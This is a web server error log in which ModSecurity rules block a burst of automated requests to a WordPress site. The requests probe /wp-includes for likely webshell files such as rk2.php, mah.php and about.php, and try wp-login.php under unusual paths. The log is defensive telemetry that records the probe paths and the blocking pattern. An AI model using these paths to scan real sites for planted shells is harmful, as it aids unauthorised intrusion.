[Sat Nov 22 17:33:51.988747 2025] [:error] [pid 9547:tid 9577] [client 45.128.199.173:54181] [client 45.128.199.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aSGDf9ClOR5qk7DoMeGYdQAAAVg"]
[Sat Nov 22 17:33:55.330099 2025] [:error] [pid 44259:tid 44266] [client 45.128.199.159:37411] [client 45.128.199.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/autoload_classmap.php"] [unique_id "aSGDg3Xe1xL-_YOdRmRRdwAAAYQ"]
[Sat Nov 22 17:34:01.553399 2025] [:error] [pid 9547:tid 9562] [client 45.128.199.144:20709] [client 45.128.199.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aSGDidClOR5qk7DoMeGYgwAAAUk"]
[Sat Nov 22 17:34:03.810392 2025] [:error] [pid 9547:tid 9569] [client 45.128.199.152:32217] [client 45.128.199.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/providers/zmFM.php"] [unique_id "aSGDi9ClOR5qk7DoMeGYhQAAAVA"]
[Sat Nov 22 17:34:05.524467 2025] [:error] [pid 44259:tid 44275] [client 45.128.199.198:54953] [client 45.128.199.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aSGDjXXe1xL-_YOdRmRRjwAAAY0"]
[Sat Nov 22 17:34:13.821662 2025] [:error] [pid 25856:tid 25863] [client 45.128.199.70:47013] [client 45.128.199.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.70, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/cgi-bin/wp-login.php"] [unique_id "aSGDlRsTP0wy94zKUvGlJgAAAQU"]
[Sat Nov 22 17:34:17.728212 2025] [:error] [pid 25856:tid 25869] [client 45.128.199.70:47013] [client 45.128.199.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sodium_compat/wp-login.php"] [unique_id "aSGDmRsTP0wy94zKUvGlKQAAAQs"]
[Sat Nov 22 17:34:19.780545 2025] [:error] [pid 53477:tid 53491] [client 45.128.199.156:61853] [client 45.128.199.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aSGDm37Lu30Ku9O40aKnQwAAAAo"]
[Sat Nov 22 17:34:38.533980 2025] [:error] [pid 53477:tid 53489] [client 45.128.199.173:28763] [client 45.128.199.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.173, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/wp-login.php"] [unique_id "aSGDrn7Lu30Ku9O40aKnWgAAAAg"]
[Sat Nov 22 17:34:40.639138 2025] [:error] [pid 53477:tid 53493] [client 45.128.199.173:28763] [client 45.128.199.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aSGDsH7Lu30Ku9O40aKnWwAAAAw"]
[Sat Nov 22 17:34:42.000704 2025] [:error] [pid 44259:tid 44268] [client 45.128.199.244:43729] [client 45.128.199.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/network.php"] [unique_id "aSGDsXXe1xL-_YOdRmRRswAAAYY"]
[Sat Nov 22 17:34:43.071066 2025] [:error] [pid 44259:tid 44262] [client 45.128.199.169:63245] [client 45.128.199.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/index.php"] [unique_id "aSGDs3Xe1xL-_YOdRmRRtwAAAYA"]
[Sat Nov 22 17:34:51.049820 2025] [:error] [pid 44259:tid 44280] [client 45.128.199.163:42579] [client 45.128.199.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/php-compat/autoload_classmap.php"] [unique_id "aSGDu3Xe1xL-_YOdRmRRzgAAAZI"]
[Sat Nov 22 17:35:10.131505 2025] [:error] [pid 53479:tid 53547] [client 45.128.199.219:55205] [client 45.128.199.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aSGDzm6cicFF3Aas-oR4bwAAAIs"]
[Sat Nov 22 17:35:15.895447 2025] [:error] [pid 9547:tid 9571] [client 45.128.199.70:56001] [client 45.128.199.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aSGD09ClOR5qk7DoMeGY2AAAAVI"]
[Sat Nov 22 17:35:29.284777 2025] [:error] [pid 44259:tid 44270] [client 45.128.199.144:50955] [client 45.128.199.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aSGD4XXe1xL-_YOdRmRSBgAAAYg"]
[Sat Nov 22 17:35:32.454580 2025] [:error] [pid 53479:tid 53551] [client 45.128.199.168:31237] [client 45.128.199.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aSGD5G6cicFF3Aas-oR4fgAAAI8"]
[Sat Nov 22 17:35:33.950410 2025] [:error] [pid 9547:tid 9554] [client 45.128.199.242:43341] [client 45.128.199.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aSGD5dClOR5qk7DoMeGY6AAAAUE"]
[Sat Nov 22 17:35:38.541960 2025] [:error] [pid 53479:tid 53539] [client 45.128.199.227:32027] [client 45.128.199.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aSGD6m6cicFF3Aas-oR4gwAAAIM"]
[Sat Nov 22 17:35:40.195395 2025] [:error] [pid 25856:tid 25869] [client 45.128.199.147:33935] [client 45.128.199.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aSGD7BsTP0wy94zKUvGlWQAAAQs"]
[Sat Nov 22 17:35:44.194072 2025] [:error] [pid 53566:tid 53578] [client 45.128.199.158:42569] [client 45.128.199.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aSGD8MbSHDBkRbwMbd4YNAAAAMo"]
[Sat Nov 22 17:35:52.436844 2025] [:error] [pid 44259:tid 44286] [client 45.128.199.157:59381] [client 45.128.199.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aSGD-HXe1xL-_YOdRmRSGwAAAZg"]
[Sat Nov 22 17:36:01.039567 2025] [:error] [pid 53479:tid 53536] [client 45.128.199.160:46397] [client 45.128.199.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aSGEAW6cicFF3Aas-oR4kQAAAIA"]
[Sat Nov 22 17:36:05.358219 2025] [:error] [pid 53566:tid 53583] [client 45.128.199.152:23837] [client 45.128.199.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aSGEBcbSHDBkRbwMbd4YQAAAAM8"]
[Sat Nov 22 17:36:10.306256 2025] [proxy_fcgi:error] [pid 44259:tid 44272] [client 45.128.199.198:29771] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 17:36:14.903135 2025] [:error] [pid 44259:tid 44265] [client 45.128.199.198:29771] [client 45.128.199.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/autoload_classmap.php"] [unique_id "aSGEDnXe1xL-_YOdRmRSRgAAAYM"]
[Sat Nov 22 17:36:48.228916 2025] [:error] [pid 53479:tid 53536] [client 45.128.199.151:34949] [client 45.128.199.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/autoload_classmap.php"] [unique_id "aSGEMG6cicFF3Aas-oR4uAAAAIA"]
[Sat Nov 22 17:36:49.226689 2025] [:error] [pid 9547:tid 9555] [client 45.128.199.236:53863] [client 45.128.199.236] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aSGEMdClOR5qk7DoMeGZEwAAAUI"]
[Sat Nov 22 17:36:57.799093 2025] [:error] [pid 9547:tid 9571] [client 45.128.199.168:39639] [client 45.128.199.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "aSGEOdClOR5qk7DoMeGZKgAAAVI"]
[Sat Nov 22 17:37:00.898379 2025] [:error] [pid 25856:tid 25876] [client 45.128.199.154:53031] [client 45.128.199.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aSGEPBsTP0wy94zKUvGligAAARI"]
[Sat Nov 22 17:37:04.490866 2025] [:error] [pid 53566:tid 53569] [client 45.128.199.152:24855] [client 45.128.199.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/wp-login.php"] [unique_id "aSGEQMbSHDBkRbwMbd4YcwAAAME"]
[Sat Nov 22 17:37:20.886793 2025] [:error] [pid 53479:tid 53560] [client 45.128.199.204:42135] [client 45.128.199.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aSGEUG6cicFF3Aas-oR46wAAAJg"]
[Sat Nov 22 17:37:28.422628 2025] [:error] [pid 9547:tid 9563] [client 45.128.199.246:41811] [client 45.128.199.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.246, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aSGEWNClOR5qk7DoMeGZRwAAAUo"]
[Sat Nov 22 17:37:32.349090 2025] [:error] [pid 9547:tid 9559] [client 45.128.199.246:41811] [client 45.128.199.246] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aSGEXNClOR5qk7DoMeGZTQAAAUY"]
[Sat Nov 22 17:37:33.560205 2025] [:error] [pid 53478:tid 53531] [client 45.128.199.145:21117] [client 45.128.199.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aSGEXQhUYdXBbQswAdTlYgAAAFY"]
[Sat Nov 22 17:37:42.504787 2025] [:error] [pid 9547:tid 9561] [client 45.128.199.242:48309] [client 45.128.199.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/autoload_classmap.php"] [unique_id "aSGEZtClOR5qk7DoMeGZXAAAAUg"]
[Sat Nov 22 17:37:46.722288 2025] [:error] [pid 44259:tid 44272] [client 45.128.199.244:55141] [client 45.128.199.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "aSGEanXe1xL-_YOdRmRS3wAAAYo"]
[Sat Nov 22 17:37:53.852489 2025] [proxy_fcgi:error] [pid 44259:tid 44274] [client 45.128.199.174:55461] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 17:38:09.409709 2025] [proxy_fcgi:error] [pid 44259:tid 44275] [client 45.128.199.174:55461] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 17:38:11.847061 2025] [:error] [pid 44259:tid 44273] [client 45.128.199.174:55461] [client 45.128.199.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/plugin.php"] [unique_id "aSGEg3Xe1xL-_YOdRmRTDwAAAYs"]
[Sat Nov 22 17:38:19.042356 2025] [:error] [pid 9547:tid 9561] [client 45.128.199.205:64841] [client 45.128.199.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/wp-tinymce.php"] [unique_id "aSGEi9ClOR5qk7DoMeGZcQAAAUg"]
[Sat Nov 22 17:38:27.421432 2025] [:error] [pid 53566:tid 53581] [client 45.128.199.165:22333] [client 45.128.199.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.165, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aSGEk8bSHDBkRbwMbd4YswAAAM0"]
[Sat Nov 22 17:38:27.426284 2025] [proxy_fcgi:error] [pid 53566:tid 53581] [client 45.128.199.165:22333] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 17:38:40.361725 2025] [:error] [pid 53566:tid 53586] [client 45.128.199.165:22333] [client 45.128.199.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/mah.php"] [unique_id "aSGEoMbSHDBkRbwMbd4YvgAAANI"]
[Sat Nov 22 17:38:41.288189 2025] [:error] [pid 53478:tid 53513] [client 45.128.199.167:53693] [client 45.128.199.167] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.167, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/sunrise/wp-login.php"] [unique_id "aSGEoQhUYdXBbQswAdTljgAAAEQ"]
[Sat Nov 22 17:38:43.465305 2025] [:error] [pid 53478:tid 53531] [client 45.128.199.167:53693] [client 45.128.199.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/lmfi.php"] [unique_id "aSGEowhUYdXBbQswAdTllwAAAFY"]
[Sat Nov 22 17:38:57.515561 2025] [proxy_fcgi:error] [pid 53478:tid 53516] [client 45.128.199.162:40473] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 17:39:03.329445 2025] [:error] [pid 53478:tid 53529] [client 45.128.199.162:40473] [client 45.128.199.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aSGEtwhUYdXBbQswAdTlqQAAAFQ"]
[Sat Nov 22 17:39:09.508180 2025] [:error] [pid 9547:tid 9575] [client 45.128.199.143:24229] [client 45.128.199.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aSGEvdClOR5qk7DoMeGZowAAAVY"]
[Sat Nov 22 17:39:12.741617 2025] [:error] [pid 53477:tid 53495] [client 45.128.199.148:60019] [client 45.128.199.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.148, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/light/wp-login.php"] [unique_id "aSGEwH7Lu30Ku9O40aKoFgAAAA4"]
[Sat Nov 22 17:39:29.121995 2025] [:error] [pid 53477:tid 53497] [client 45.128.199.148:60019] [client 45.128.199.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/button/index.php"] [unique_id "aSGE0X7Lu30Ku9O40aKoKAAAABA"]
[Sat Nov 22 17:39:31.302185 2025] [:error] [pid 44259:tid 44271] [client 45.128.199.160:27255] [client 45.128.199.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/packed.php"] [unique_id "aSGE03Xe1xL-_YOdRmRTYAAAAYk"]
[Sat Nov 22 17:39:52.248707 2025] [:error] [pid 25856:tid 25873] [client 45.128.199.154:20011] [client 45.128.199.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/file.php"] [unique_id "aSGE6BsTP0wy94zKUvGmDwAAAQ8"]
[Sat Nov 22 17:39:55.268734 2025] [:error] [pid 53479:tid 53538] [client 45.128.199.164:30051] [client 45.128.199.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aSGE626cicFF3Aas-oR5YgAAAII"]
[Sat Nov 22 17:39:58.281318 2025] [:error] [pid 53566:tid 53592] [client 45.128.199.244:35519] [client 45.128.199.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/Cache/about.php"] [unique_id "aSGE7sbSHDBkRbwMbd4Y7gAAANg"]
[Sat Nov 22 17:40:08.291564 2025] [:error] [pid 53478:tid 53529] [client 45.128.199.152:52895] [client 45.128.199.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.152, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "aSGE-AhUYdXBbQswAdTl3AAAAFQ"]
